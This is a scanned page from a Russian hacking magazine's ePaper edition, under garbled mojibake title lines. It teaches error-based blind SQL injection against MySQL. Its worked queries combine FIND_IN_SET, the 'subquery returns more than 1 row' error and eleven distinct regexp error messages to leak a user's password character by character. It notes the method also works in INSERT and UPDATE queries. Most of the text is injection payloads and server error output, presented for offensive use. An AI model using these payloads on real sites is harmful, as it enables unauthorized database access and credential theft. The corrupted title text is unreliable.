ÃÂÕáÛãçÃÂÙÃÂÞ CUDA ØÔÕÃÂœ? phpMyAdmin - Xakep Online
ÃÂÕáÛãçÃÂÙÃÂÞ CUDA ØÔÕÃÂœ? phpMyAdmin - Xakep Online
ÃÂÕáÛãçÃÂÙÃÂÞ CUDA ØÔÕÃÂœ? phpMyAdmin - Xakep Online
Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
взлом<br />
ИСПОЛЬЗОВАНИЕ FIND_IN_SET() +<br />
MORE1ROW<br />
Если хорошенько поиграться с методом, предложенным выше,<br />
можно заметить, что все его минусы сводятся к тому, что далеко<br />
не на всех сайтах возможно получить достаточное количество<br />
различных страниц, зависящих от одного параметра. Решим эту<br />
проблему. Вспомним метод, предложенный Elekt'ом в ][ #111,<br />
который основан на использовании ошибки «Subquery returns<br />
more than 1 row».Суть метода заключается в том, чтобы заставить<br />
скрипт выводить ошибку SQL в зависимости от результата<br />
SQL-запроса. На данный момент, чтобы спровоцировать БД на<br />
вывод ошибки, наиболее часто используется запрос:<br />
SELECT 1 UNION SELECT 2<br />
– который вернет ошибку:<br />
#1242 — Subquery returns more than 1 row<br />
ПРИМЕР ЭКСПЛОЙТА, НАПИСАННОГО ЯВНО НОВИЧКОМ<br />
Также ZaCo нашел альтернативный вариант запроса, который<br />
провоцирует БД на вывод ошибки в зависимости от условия:<br />
"x" regexp concat("x{1,25", if(@@version5,<br />
"5}", "6}")<br />
select 1 regexp if(1=1,'(',2)<br />
#1139 — Got error 'parentheses not balanced'<br />
from regexp<br />
INFO<br />
В том случае, если версия MySql не равна 5, этот запрос вернет<br />
ошибку:<br />
#1139 — Got error 'invalid repetition<br />
count(s)' from regexp.<br />
Немного порывшись в исходниках MySql и погуглив, можно<br />
найти еще 9 ошибок, которые возвращает неправильный<br />
regexp. Итого, от сервера мы можем получить 11 видов ошибок +<br />
1 состояние, когда ошибки нет:<br />
SELECT 1<br />
No error<br />
select if(1=1,(select 1 union select 2),2)<br />
#1242 — Subquery returns more than 1 row<br />
select 1 regexp if(1=1,"x{1,0}",2)<br />
#1139 — Got error 'invalid repetition<br />
count(s)' from regexp<br />
select 1 regexp if(1=1,"x{1,(",2)<br />
#1139 — Got error 'braces not balanced' from<br />
regexp<br />
select 1 regexp if(1=1,'[[:]]',2)<br />
#1139 — Got error 'invalid character class'<br />
from regexp<br />
select 1 regexp if(1=1,'[[',2)<br />
#1139 — Got error 'brackets ([ ]) not balanced'<br />
from regexp<br />
select 1 regexp if(1=1,'(({1}',2)<br />
#1139 — Got error 'repetition-operator operand<br />
invalid' from regexp<br />
select 1 regexp if(1=1,'',2)<br />
#1139 — Got error 'empty (sub)expression' from<br />
regexp<br />
XÀÊÅÐ 07 /127/ 09<br />
select 1 regexp if(1=1,'[2-1]',2)<br />
#1139 — Got error 'invalid character range'<br />
from regexp<br />
select 1 regexp if(1=1,'[[.ch.]]',2)<br />
#1139 — Got error 'invalid collating element'<br />
from regexp<br />
select 1 regexp if(1=1,'\\',2)<br />
#1139 — Got error 'trailing backslash (\)' from<br />
regexp<br />
Пока просто примем это во внимание. Теперь самое время<br />
вспомнить о функции find_in_set. Если искомый символ есть во<br />
множестве подстрок, она вернет номер подстроки, если нет —<br />
вернет 0. Попробуем привязать результат работы этой функции<br />
к различным кодам ошибок и передадим вот такой запрос:<br />
select * from users where id=-1<br />
AND "x" regexp<br />
concat("x{1,25",<br />
if(<br />
find_in_set(<br />
substring((select passwd from users where<br />
id=1),1,1),<br />
'a,b,c,d,e,f,1,2,3,4,5,6'<br />
)>0,<br />
(select 1 union select 2),<br />
"6}"<br />
)<br />
)<br />
В результате, если первый символ пароля находится во множестве<br />
'a,b,c,d,e,f,1,2,3,4,5,6', то запрос вернет:<br />
#1242 — Subquery returns more than 1 row<br />
А если не находится, то:<br />
#1139 — Got error 'invalid repetition<br />
info<br />
Большим<br />
преимущест вом<br />
последнего из перечисленных<br />
методов<br />
является то, что он<br />
с тем же успехом<br />
может работать<br />
и в INSERT,<br />
и в UPDATE запросах.<br />
DVD<br />
dvd<br />
На диске ты сможешь<br />
найти скрипты для<br />
работы с SQL-инъекциями<br />
с использованием<br />
описанных<br />
в статье методов.<br />
067